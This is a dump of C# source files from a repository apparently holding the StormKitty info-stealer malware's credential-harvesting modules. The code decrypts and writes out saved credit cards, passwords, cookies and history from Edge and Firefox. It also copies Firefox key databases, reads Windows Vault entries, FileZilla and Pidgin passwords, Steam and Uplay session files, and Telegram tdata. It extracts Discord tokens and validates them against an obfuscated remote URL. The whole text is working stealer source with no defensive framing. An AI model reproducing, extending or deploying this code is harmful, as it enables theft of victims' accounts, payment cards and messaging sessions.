4 |
5 | namespace Stealer.Edge
6 | {
7 | internal sealed class CreditCards
8 | {
9 | ///
10 | /// Get CreditCards from edge browser
11 | ///
12 | ///
13 | /// List with credit cards
14 | public static List Get(string sWebData)
15 | {
16 | try
17 | {
18 | List lcCC = new List();
19 |
20 | if (!File.Exists(sWebData))
21 | return lcCC;
22 |
23 | // Read data from table
24 | SQLite sSQLite = SqlReader.ReadTable(sWebData, "credit_cards");
25 | if (sSQLite == null)
26 | return lcCC;
27 |
28 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
29 | {
30 |
31 | CreditCard cCard = new CreditCard();
32 |
33 | cCard.sNumber = Chromium.Crypto.GetUTF8(Chromium.Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 4)));
34 | cCard.sExpYear = Chromium.Crypto.GetUTF8(Chromium.Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 3)));
35 | cCard.sExpMonth = Chromium.Crypto.GetUTF8(Chromium.Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 2)));
36 | cCard.sName = Chromium.Crypto.GetUTF8(Chromium.Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 1)));
37 |
38 | Counter.CreditCards++;
39 | lcCC.Add(cCard);
40 | }
41 |
42 | return lcCC;
43 | }
44 | catch (Exception ex) { Console.WriteLine(ex); return new List(); }
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Edge/Edge.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 |
4 | namespace Stealer.Edge
5 | {
6 | internal sealed class Recovery
7 | {
8 | public static void Run(string sSavePath)
9 | {
10 | string sFullPath = Paths.lappdata + Paths.EdgePath;
11 |
12 | if (!Directory.Exists(sFullPath))
13 | return;
14 |
15 | string sBDir = sSavePath + "\\Edge";
16 | Directory.CreateDirectory(sBDir);
17 | foreach (string sProfile in Directory.GetDirectories(sFullPath))
18 | {
19 | if (File.Exists(sProfile + "\\Login Data"))
20 | {
21 | // Run tasks
22 | List pCreditCards = Edge.CreditCards.Get(sProfile + "\\Web Data");
23 | List pAutoFill = Edge.Autofill.Get(sProfile + "\\Web Data");
24 | List pBookmarks = Edge.Bookmarks.Get(sProfile + "\\Bookmarks");
25 | List pPasswords = Chromium.Passwords.Get(sProfile + "\\Login Data");
26 | List pCookies = Chromium.Cookies.Get(sProfile + "\\Cookies");
27 | List pHistory = Chromium.History.Get(sProfile + "\\History");
28 | // Await values and write
29 | cBrowserUtils.WriteCreditCards(pCreditCards, sBDir + "\\CreditCards.txt");
30 | cBrowserUtils.WriteAutoFill(pAutoFill, sBDir + "\\AutoFill.txt");
31 | cBrowserUtils.WriteBookmarks(pBookmarks, sBDir + "\\Bookmarks.txt");
32 | cBrowserUtils.WritePasswords(pPasswords, sBDir + "\\Passwords.txt");
33 | cBrowserUtils.WriteCookies(pCookies, sBDir + "\\Cookies.txt");
34 | cBrowserUtils.WriteHistory(pHistory, sBDir + "\\History.txt");
35 | }
36 | }
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Firefox/Bookmarks.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 |
5 | namespace Stealer.Firefox
6 | {
7 | internal class cBookmarks
8 | {
9 |
10 | // Get cookies.sqlite file location
11 | private static string GetBookmarksDBPath(string path)
12 | {
13 | try
14 | {
15 | string dir = path + "\\Profiles";
16 | if (Directory.Exists(dir))
17 | foreach (string sDir in Directory.GetDirectories(dir))
18 | if (File.Exists(sDir + "\\places.sqlite"))
19 | return sDir + "\\places.sqlite";
20 | }
21 | catch { }
22 | return null;
23 | }
24 |
25 | // Get bookmarks from gecko browser
26 | public static List Get(string path)
27 | {
28 | List scBookmark = new List();
29 | try
30 | {
31 | string sCookiePath = GetBookmarksDBPath(path);
32 |
33 | if (!File.Exists(sCookiePath))
34 | return scBookmark;
35 |
36 | string sNewPath = Path.GetTempPath() + "\\places.raw";
37 |
38 | if (File.Exists(sNewPath))
39 | File.Delete(sNewPath);
40 |
41 | File.Copy(sCookiePath, sNewPath);
42 | SQLite sSQLite = new SQLite(sNewPath);
43 | sSQLite.ReadTable("moz_bookmarks");
44 |
45 | if (sSQLite.GetRowCount() == 65536)
46 | return new List();
47 |
48 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
49 | {
50 | Bookmark bBookmark = new Bookmark();
51 | bBookmark.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 5));
52 |
53 | if (Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1)).Equals("0") && bBookmark.sTitle != "0")
54 | {
55 | // Analyze value
56 | Banking.ScanData(bBookmark.sTitle);
57 | Counter.Bookmarks++;
58 | scBookmark.Add(bBookmark);
59 | }
60 | }
61 |
62 | return scBookmark;
63 | }
64 | catch (Exception ex) { Console.WriteLine(ex); }
65 | return new List();
66 | }
67 |
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Firefox/Cookies.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 |
5 | namespace Stealer.Firefox
6 | {
7 | internal sealed class cCookies
8 | {
9 | // Get cookies.sqlite file location
10 | private static string GetCookiesDBPath(string path)
11 | {
12 | try
13 | {
14 | string dir = path + "\\Profiles";
15 | if (Directory.Exists(dir))
16 | foreach (string sDir in Directory.GetDirectories(dir))
17 | if (File.Exists(sDir + "\\cookies.sqlite"))
18 | return sDir + "\\cookies.sqlite";
19 | } catch { }
20 | return null;
21 | }
22 |
23 | // Get cookies from gecko browser
24 | public static List Get(string path)
25 | {
26 | List lcCookies = new List();
27 | try
28 | {
29 | string sCookiePath = GetCookiesDBPath(path);
30 |
31 | // Read data from table
32 | SQLite sSQLite = SqlReader.ReadTable(sCookiePath, "moz_cookies");
33 | if (sSQLite == null)
34 | return lcCookies;
35 |
36 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
37 | {
38 | Cookie cCookie = new Cookie();
39 | cCookie.sHostKey = sSQLite.GetValue(i, 4);
40 | cCookie.sName = sSQLite.GetValue(i, 2);
41 | cCookie.sValue = sSQLite.GetValue(i, 3);
42 | cCookie.sPath = sSQLite.GetValue(i, 5);
43 | cCookie.sExpiresUtc = sSQLite.GetValue(i, 6);
44 |
45 | // Analyze value
46 | Banking.ScanData(cCookie.sHostKey);
47 | Counter.Cookies++;
48 | lcCookies.Add(cCookie);
49 | }
50 |
51 | return lcCookies;
52 | }
53 | catch (Exception ex) { Console.WriteLine(ex); }
54 | return new List();
55 | }
56 |
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Firefox/Firefox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 |
5 | namespace Stealer.Firefox
6 | {
7 | internal sealed class Recovery
8 | {
9 | public static void Run(string sSavePath)
10 | {
11 | foreach (string path in Paths.sGeckoBrowserPaths)
12 | {
13 | try
14 | {
15 | string name = new DirectoryInfo(path).Name;
16 | string bSavePath = sSavePath + "\\" + name;
17 |
18 | if (Directory.Exists(Paths.appdata + path + "\\Profiles"))
19 | {
20 | Directory.CreateDirectory(bSavePath);
21 | List bookmarks = Firefox.cBookmarks.Get(Paths.appdata + path); // Read all Firefox bookmarks
22 | List cookies = Firefox.cCookies.Get(Paths.appdata + path); // Read all Firefox cookies
23 | List history = Firefox.cHistory.Get(Paths.appdata + path); // Read all Firefox history
24 |
25 | cBrowserUtils.WriteBookmarks(bookmarks, bSavePath + "\\Bookmarks.txt");
26 | cBrowserUtils.WriteCookies(cookies, bSavePath + "\\Cookies.txt");
27 | cBrowserUtils.WriteHistory(history, bSavePath + "\\History.txt");
28 | // Copy all Firefox logins
29 | Firefox.cLogins.GetDBFiles(Paths.appdata + path + "\\Profiles\\", bSavePath);
30 | }
31 | }
32 | catch (Exception ex) { Console.WriteLine(ex); }
33 | }
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Firefox/History.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 |
5 | namespace Stealer.Firefox
6 | {
7 | internal class cHistory
8 | {
9 |
10 | // Get cookies.sqlite file location
11 | private static string GetHistoryDBPath(string path)
12 | {
13 | try
14 | {
15 | string dir = path + "\\Profiles";
16 | if (Directory.Exists(dir))
17 | foreach (string sDir in Directory.GetDirectories(dir))
18 | if (File.Exists(sDir + "\\places.sqlite"))
19 | return sDir + "\\places.sqlite";
20 | } catch { }
21 | return null;
22 | }
23 |
24 | // Get cookies from gecko browser
25 | public static List Get(string path)
26 | {
27 | List scHistory = new List();
28 | try
29 | {
30 | string sHistoryPath = GetHistoryDBPath(path);
31 |
32 | // Read data from table
33 | SQLite sSQLite = SqlReader.ReadTable(sHistoryPath, "moz_places");
34 | if (sSQLite == null)
35 | return scHistory;
36 |
37 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
38 | {
39 | Site sSite = new Site();
40 | sSite.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 2));
41 | sSite.sUrl = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1));
42 | sSite.iCount = Convert.ToInt32(sSQLite.GetValue(i, 4)) + 1;
43 |
44 | if (sSite.sTitle != "0")
45 | {
46 | // Analyze value
47 | Banking.ScanData(sSite.sUrl);
48 | Counter.History++;
49 | scHistory.Add(sSite);
50 | }
51 | }
52 |
53 | return scHistory;
54 | }
55 | catch (Exception ex) { Console.WriteLine(ex); }
56 | return new List();
57 | }
58 |
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Firefox/Logins.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 |
3 | namespace Stealer.Firefox
4 | {
5 | internal sealed class cLogins
6 | {
7 | private static string[] keyFiles = new string[] { "key3.db", "key4.db", "logins.json" };
8 |
9 | // Copy key3.db, key4.db, logins.json if exists
10 | private static void CopyDatabaseFile(string from, string sSavePath)
11 | {
12 | try
13 | {
14 | if (File.Exists(from))
15 | File.Copy(from, sSavePath + "\\" + Path.GetFileName(from));
16 | }
17 | catch { }
18 | }
19 |
20 | /*
21 | Дешифровка паролей Gecko браузеров - та еще жопa.
22 | Проще стырить два файла(key3.dll/key4.dll и logins.json)
23 | и расшифровать их бесплатной прогой от NirSoft.
24 | https://www.nirsoft.net/utils/passwordfox.html
25 | */
26 | public static void GetDBFiles(string path, string sSavePath)
27 | {
28 | // If browser path not exists
29 | if (!Directory.Exists(path))
30 | return;
31 |
32 | // Detect logins.json file
33 | string[] files = Directory.GetFiles(path, "logins.json", SearchOption.AllDirectories);
34 | if (files == null)
35 | return;
36 |
37 | foreach (string dbpath in files)
38 | {
39 | // Copy key3.db, key4.db, logins.json
40 | foreach (string db in keyFiles)
41 | CopyDatabaseFile(Path.Combine(Path.GetDirectoryName(dbpath), db), sSavePath);
42 | }
43 | }
44 |
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Internet Explorer/InternetExplorer.cs:
--------------------------------------------------------------------------------
1 | namespace Stealer.InternetExplorer
2 | {
3 | internal sealed class Recovery
4 | {
5 | public static void Run(string sSavePath)
6 | {
7 | // Write IE logins
8 | System.Collections.Generic.List ePasswords = cPasswords.Get();
9 | if (ePasswords.Count != 0)
10 | {
11 | System.IO.Directory.CreateDirectory(sSavePath + "\\InternetExplorer");
12 | cBrowserUtils.WritePasswords(ePasswords, sSavePath + "\\InternetExplorer\\Passwords.txt");
13 | }
14 | }
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Internet Explorer/VaultCli.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace Stealer.InternetExplorer
5 | {
6 | public static class VaultCli
7 | {
8 | public enum VAULT_ELEMENT_TYPE : Int32
9 | {
10 | Undefined = -1,
11 | Boolean = 0,
12 | Short = 1,
13 | UnsignedShort = 2,
14 | Int = 3,
15 | UnsignedInt = 4,
16 | Double = 5,
17 | Guid = 6,
18 | String = 7,
19 | ByteArray = 8,
20 | TimeStamp = 9,
21 | ProtectedArray = 10,
22 | Attribute = 11,
23 | Sid = 12,
24 | Last = 13
25 | }
26 |
27 | public enum VAULT_SCHEMA_ELEMENT_ID : Int32
28 | {
29 | Illegal = 0,
30 | Resource = 1,
31 | Identity = 2,
32 | Authenticator = 3,
33 | Tag = 4,
34 | PackageSid = 5,
35 | AppStart = 100,
36 | AppEnd = 10000
37 | }
38 |
39 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
40 | public struct VAULT_ITEM_WIN8
41 | {
42 | public Guid SchemaId;
43 | public IntPtr pszCredentialFriendlyName;
44 | public IntPtr pResourceElement;
45 | public IntPtr pIdentityElement;
46 | public IntPtr pAuthenticatorElement;
47 | public IntPtr pPackageSid;
48 | public UInt64 LastModified;
49 | public UInt32 dwFlags;
50 | public UInt32 dwPropertiesCount;
51 | public IntPtr pPropertyElements;
52 | }
53 |
54 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
55 | public struct VAULT_ITEM_WIN7
56 | {
57 | public Guid SchemaId;
58 | public IntPtr pszCredentialFriendlyName;
59 | public IntPtr pResourceElement;
60 | public IntPtr pIdentityElement;
61 | public IntPtr pAuthenticatorElement;
62 | public UInt64 LastModified;
63 | public UInt32 dwFlags;
64 | public UInt32 dwPropertiesCount;
65 | public IntPtr pPropertyElements;
66 | }
67 |
68 | [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)]
69 | public struct VAULT_ITEM_ELEMENT
70 | {
71 | [FieldOffset(0)] public VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
72 | [FieldOffset(8)] public VAULT_ELEMENT_TYPE Type;
73 | }
74 |
75 | [DllImport("vaultcli.dll")]
76 | public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle);
77 |
78 | [DllImport("vaultcli.dll")]
79 | public extern static Int32 VaultCloseVault(ref IntPtr vaultHandle);
80 |
81 | [DllImport("vaultcli.dll")]
82 | public extern static Int32 VaultFree(ref IntPtr vaultHandle);
83 |
84 | [DllImport("vaultcli.dll")]
85 | public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid);
86 |
87 | [DllImport("vaultcli.dll")]
88 | public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem);
89 |
90 | [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
91 | public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr);
92 |
93 | [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
94 | public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr);
95 |
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/FileZilla.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Xml;
4 | using System.Text;
5 | using System.Collections.Generic;
6 |
7 |
8 | namespace Stealer
9 | {
10 | internal sealed class FileZilla
11 | {
12 |
13 | // Get filezilla .xml files
14 | private static string[] GetPswPath()
15 | {
16 | string fz = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\FileZilla\";
17 | return new string[] { fz + "recentservers.xml", fz + "sitemanager.xml" };
18 | }
19 |
20 | public static List Steal()
21 | {
22 | List lpPasswords = new List();
23 |
24 | string[] files = GetPswPath();
25 | // If files not exists
26 | if (!File.Exists(files[0]) && !File.Exists(files[1]))
27 | return lpPasswords;
28 |
29 | foreach (string pwFile in files)
30 | {
31 | try
32 | {
33 | if (!File.Exists(pwFile))
34 | continue;
35 |
36 | XmlDocument xDOC = new XmlDocument();
37 | xDOC.Load(pwFile);
38 |
39 | foreach (XmlNode xNode in xDOC.GetElementsByTagName("Server"))
40 | {
41 |
42 | Password pPassword = new Password();
43 |
44 | pPassword.sUrl = "ftp://" + xNode["Host"].InnerText + ":" + xNode["Port"].InnerText + "/";
45 | pPassword.sUsername = xNode["User"].InnerText;
46 | pPassword.sPassword = Encoding.UTF8.GetString(Convert.FromBase64String(xNode["Pass"].InnerText));
47 |
48 | Counter.FTPHosts++;
49 | lpPasswords.Add(pPassword);
50 |
51 | }
52 |
53 | }
54 | catch { }
55 | }
56 |
57 | return lpPasswords;
58 | }
59 |
60 | // Format FileZilla passwords
61 | private static string FormatPassword(Password pPassword)
62 | {
63 | return String.Format("Url: {0}\nUsername: {1}\nPassword: {2}\n\n", pPassword.sUrl, pPassword.sUsername, pPassword.sPassword);
64 | }
65 |
66 | // Write FileZilla passwords
67 | public static void WritePasswords(List pPasswords, string sSavePath)
68 | {
69 | if (pPasswords.Count != 0)
70 | {
71 | Directory.CreateDirectory(sSavePath);
72 | foreach (Password p in pPasswords)
73 | {
74 | File.AppendAllText(sSavePath + "\\Hosts.txt", FormatPassword(p));
75 | }
76 | }
77 | }
78 |
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Gaming/Minecraft.cs:
--------------------------------------------------------------------------------
1 | using StormKitty;
2 | using System.IO;
3 |
4 | namespace Stealer // This shit coded by LimerBoy
5 | {
6 | internal sealed class Minecraft
7 | {
8 | private static string MinecraftPath = Path.Combine(Paths.appdata, ".minecraft");
9 |
10 | // Get installed versions
11 | private static void SaveVersions(string sSavePath)
12 | {
13 | foreach (string version in Directory.GetDirectories(Path.Combine(MinecraftPath, "versions")))
14 | {
15 | string name = new DirectoryInfo(version).Name;
16 | string size = Filemanager.DirectorySize(version) + " bytes";
17 | string date = Directory.GetCreationTime(version)
18 | .ToString("yyyy-MM-dd h:mm:ss tt");
19 |
20 | File.AppendAllText(sSavePath + "\\versions.txt", $"VERSION: {name}\n\tSIZE: {size}\n\tDATE: {date}\n\n");
21 | }
22 | }
23 |
24 | // Get installed mods
25 | private static void SaveMods(string sSavePath)
26 | {
27 | foreach (string mod in Directory.GetFiles(Path.Combine(MinecraftPath, "mods")))
28 | {
29 | string name = Path.GetFileName(mod);
30 | string size = new FileInfo(mod).Length + " bytes";
31 | string date = File.GetCreationTime(mod)
32 | .ToString("yyyy-MM-dd h:mm:ss tt");
33 |
34 | File.AppendAllText(sSavePath + "\\mods.txt", $"MOD: {name}\n\tSIZE: {size}\n\tDATE: {date}\n\n");
35 | }
36 | }
37 |
38 | // Get screenshots
39 | private static void SaveScreenshots(string sSavePath)
40 | {
41 | string[] screenshots = Directory.GetFiles(Path.Combine(MinecraftPath, "screenshots"));
42 | if (screenshots.Length == 0) return;
43 |
44 | Directory.CreateDirectory(sSavePath + "\\screenshots");
45 | foreach (string screenshot in screenshots)
46 | File.Copy(screenshot, sSavePath + "\\screenshots\\" + Path.GetFileName(screenshot));
47 | }
48 |
49 | // Get servers
50 | private static void SaveServers(string sSavePath)
51 | {
52 | string servers = Path.Combine(MinecraftPath, "servers.dat");
53 | if (!File.Exists(servers)) return;
54 | File.Copy(servers, sSavePath + "\\servers.dat");
55 | }
56 |
57 | // Get profiles
58 | private static void SaveProfiles(string sSavePath)
59 | {
60 | string profiles = Path.Combine(MinecraftPath, "launcher_profiles.json");
61 | if (!File.Exists(profiles)) return;
62 | File.Copy(profiles, sSavePath + "\\launcher_profiles.json");
63 | }
64 |
65 | // Run minecraft data stealer
66 | public static void SaveAll(string sSavePath)
67 | {
68 | if (!Directory.Exists(MinecraftPath)) return;
69 |
70 | try
71 | {
72 | Directory.CreateDirectory(sSavePath);
73 | SaveProfiles(sSavePath);
74 | SaveServers(sSavePath);
75 | SaveScreenshots(sSavePath);
76 | SaveMods(sSavePath);
77 | SaveVersions(sSavePath);
78 | }
79 | catch { }
80 | }
81 |
82 |
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Gaming/Steam.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using Microsoft.Win32;
4 |
5 | namespace Stealer
6 | {
7 | internal sealed class Steam
8 | {
9 |
10 | public static bool GetSteamSession(string sSavePath)
11 | {
12 | try
13 | {
14 | RegistryKey rkSteam = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam");
15 | if (rkSteam == null)
16 | return false;
17 |
18 | string sSteamPath = rkSteam.GetValue("SteamPath").ToString();
19 | if (!Directory.Exists(sSteamPath))
20 | return false;
21 |
22 | Directory.CreateDirectory(sSavePath);
23 | // Get steam applications list
24 | foreach (string GameID in rkSteam.OpenSubKey("Apps").GetSubKeyNames())
25 | {
26 | using (RegistryKey app = rkSteam.OpenSubKey("Apps\\" + GameID))
27 | {
28 | string Name = (string)app.GetValue("Name");
29 | Name = string.IsNullOrEmpty(Name) ? "Unknown" : Name;
30 | string Installed = (int)app.GetValue("Installed") == 1 ? "Yes" : "No";
31 | string Running = (int)app.GetValue("Running") == 1 ? "Yes" : "No";
32 | string Updating = (int)app.GetValue("Updating") == 1 ? "Yes" : "No";
33 |
34 | File.AppendAllText(sSavePath + "\\Apps.txt",
35 | $"Application {Name}\n\tGameID: {GameID}\n\tInstalled: {Installed}\n\tRunning: {Running}\n\tUpdating: {Updating}\n\n");
36 | }
37 | }
38 |
39 | // Copy .ssfn flags
40 | foreach (string sFile in Directory.GetFiles(sSteamPath))
41 | if (sFile.Contains("ssfn"))
42 | File.Copy(sFile, sSavePath + "\\" + Path.GetFileName(sFile));
43 |
44 | Counter.Steam = true;
45 |
46 | string RememberPassword = (int)rkSteam.GetValue("RememberPassword") == 1 ? "Yes" : "No";
47 | string sSteamInfo = String.Format(
48 | "\nAutologin User: " + rkSteam.GetValue("AutoLoginUser") +
49 | "\nRemember password: " + RememberPassword
50 | );
51 | File.WriteAllText(sSavePath + "\\SteamInfo.txt", sSteamInfo);
52 |
53 | return true;
54 | }
55 | catch { return false; }
56 | }
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Gaming/Uplay.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace Stealer
5 | {
6 | internal sealed class Uplay
7 | {
8 | private static string path = Path.Combine(
9 | Paths.lappdata, "Ubisoft Game Launcher");
10 |
11 | public static bool GetUplaySession(string sSavePath)
12 | {
13 | if (!Directory.Exists(path))
14 | return false;
15 |
16 | Directory.CreateDirectory(sSavePath);
17 | foreach (string file in Directory.GetFiles(path))
18 | File.Copy(file, Path.Combine(sSavePath, Path.GetFileName(file)));
19 |
20 | Counter.Uplay = true;
21 | return true;
22 | }
23 |
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Messengers/Discord.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Collections.Generic;
5 | using System.Text.RegularExpressions;
6 | using StormKitty;
7 | using StormKitty.Implant;
8 |
9 | namespace Stealer
10 | {
11 | internal sealed class Discord
12 | {
13 | private static Regex TokenRegex = new Regex(@"[a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}|mfa\.[a-zA-Z0-9_\-]{84}");
14 | private static string[] DiscordDirectories = new string[] {
15 | "Discord\\Local Storage\\leveldb",
16 | "Discord PTB\\Local Storage\\leveldb",
17 | "Discord Canary\\leveldb",
18 | };
19 |
20 | // Write tokens
21 | public static void WriteDiscord(string[] lcDicordTokens, string sSavePath)
22 | {
23 | if (lcDicordTokens.Length != 0)
24 | {
25 | Directory.CreateDirectory(sSavePath);
26 | Counter.Discord = true;
27 | try
28 | {
29 | foreach (string token in lcDicordTokens)
30 | File.AppendAllText(sSavePath + "\\tokens.txt", token + "\n");
31 | } catch (Exception ex) { Console.WriteLine(ex); }
32 | } try
33 | {
34 | CopyLevelDb(sSavePath);
35 | } catch { }
36 | }
37 |
38 | // Copy leveldb directory
39 | private static void CopyLevelDb(string sSavePath)
40 | {
41 | foreach (string dir in DiscordDirectories)
42 | {
43 | string directory = Path.Combine(Paths.appdata, dir);
44 | string cpdirectory = Path.Combine(sSavePath,
45 | new DirectoryInfo(directory).Name);
46 |
47 | if (!Directory.Exists(directory))
48 | continue;
49 | try
50 | {
51 | Filemanager.CopyDirectory(directory, cpdirectory);
52 | } catch { }
53 | }
54 | }
55 |
56 | // Check token
57 | private static string TokenState(string token)
58 | {
59 | try
60 | {
61 | using (WebClient http = new WebClient())
62 | {
63 | http.Headers.Add("Authorization", token);
64 | string result = http.DownloadString(
65 | StringsCrypt.Decrypt(new byte[] { 204, 119, 158, 154, 23, 66, 149, 141, 183, 108, 94, 12, 88, 31, 176, 188, 18, 22, 179, 36, 224, 199, 140, 191, 17, 128, 191, 221, 16, 110, 63, 145, 150, 152, 246, 105, 199, 84, 221, 181, 90, 40, 214, 128, 166, 54, 252, 46, }));
66 | return result.Contains("Unauthorized") ? "Token is invalid" : "Token is valid";
67 | }
68 | } catch { }
69 | return "Connection error";
70 | }
71 |
72 | // Get discord tokens
73 | public static string[] GetTokens()
74 | {
75 | List tokens = new List();
76 | try
77 | {
78 | foreach (string dir in DiscordDirectories)
79 | {
80 | string directory = Path.Combine(Paths.appdata, dir);
81 | string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name);
82 |
83 | if (!Directory.Exists(directory))
84 | continue;
85 |
86 | Filemanager.CopyDirectory(directory, cpdirectory);
87 |
88 | foreach (string file in Directory.GetFiles(cpdirectory))
89 | {
90 | if (!file.EndsWith(".log") && !file.EndsWith(".ldb"))
91 | continue;
92 |
93 | string text = File.ReadAllText(file);
94 | Match match = TokenRegex.Match(text);
95 | if (match.Success)
96 | tokens.Add($"{match.Value} - {TokenState(match.Value)}");
97 | }
98 |
99 | Filemanager.RecursiveDelete(cpdirectory);
100 |
101 | }
102 | }
103 | catch (Exception ex) { Console.WriteLine(ex); }
104 | return tokens.ToArray();
105 | }
106 |
107 | }
108 | }
109 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Messengers/Pidgin.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Xml;
3 | using System.Text;
4 |
5 | namespace Stealer
6 | {
7 | internal sealed class Pidgin
8 | {
9 | private static StringBuilder SBTwo = new StringBuilder();
10 | private static readonly string PidginPath = Path.Combine(Paths.appdata, ".purple\\accounts.xml");
11 |
12 | public static void GetAccounts(string sSavePath)
13 | {
14 | if (!File.Exists(PidginPath))
15 | return;
16 |
17 | try
18 | {
19 | XmlDocument xml = new XmlDocument();
20 | xml.Load(new XmlTextReader(PidginPath));
21 |
22 | foreach (XmlNode nl in xml.DocumentElement.ChildNodes)
23 | {
24 | var Protocol = nl.ChildNodes[0].InnerText;
25 | var Login = nl.ChildNodes[1].InnerText;
26 | var Password = nl.ChildNodes[2].InnerText;
27 |
28 | if (!string.IsNullOrEmpty(Protocol) && !string.IsNullOrEmpty(Login) && !string.IsNullOrEmpty(Password))
29 | {
30 | SBTwo.AppendLine($"Protocol: {Protocol}");
31 | SBTwo.AppendLine($"Login: {Login}");
32 | SBTwo.AppendLine($"Password: {Password}\r\n");
33 |
34 | Counter.Pidgin++;
35 | }
36 | else
37 | break;
38 |
39 | }
40 | if (SBTwo.Length > 0)
41 | {
42 | Directory.CreateDirectory(sSavePath);
43 | File.AppendAllText(sSavePath + "\\accounts.txt", SBTwo.ToString());
44 | }
45 | }
46 | catch { }
47 |
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Messengers/Telegram.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Diagnostics;
4 | using StormKitty;
5 |
6 | namespace Stealer
7 | {
8 | internal sealed class Telegram
9 | {
10 |
11 | // Get tdata directory
12 | private static string GetTdata()
13 | {
14 | string TelegramDesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
15 | Process[] TelegramProcesses = Process.GetProcessesByName("Telegram");
16 |
17 | if (TelegramProcesses.Length == 0)
18 | return TelegramDesktopPath;
19 | else
20 | return Path.Combine(
21 | Path.GetDirectoryName(
22 | ProcessList.ProcessExecutablePath(
23 | TelegramProcesses[0])), "tdata");
24 | }
25 |
26 | public static bool GetTelegramSessions(string sSaveDir)
27 | {
28 | string TelegramDesktopPath = GetTdata();
29 | try
30 | {
31 | if (!Directory.Exists(TelegramDesktopPath))
32 | return false;
33 |
34 | Directory.CreateDirectory(sSaveDir);
35 |
36 | // Get all directories
37 | string[] Directories = Directory.GetDirectories(TelegramDesktopPath);
38 | string[] Files = Directory.GetFiles(TelegramDesktopPath);
39 |
40 | // Copy directories
41 | foreach (string dir in Directories)
42 | {
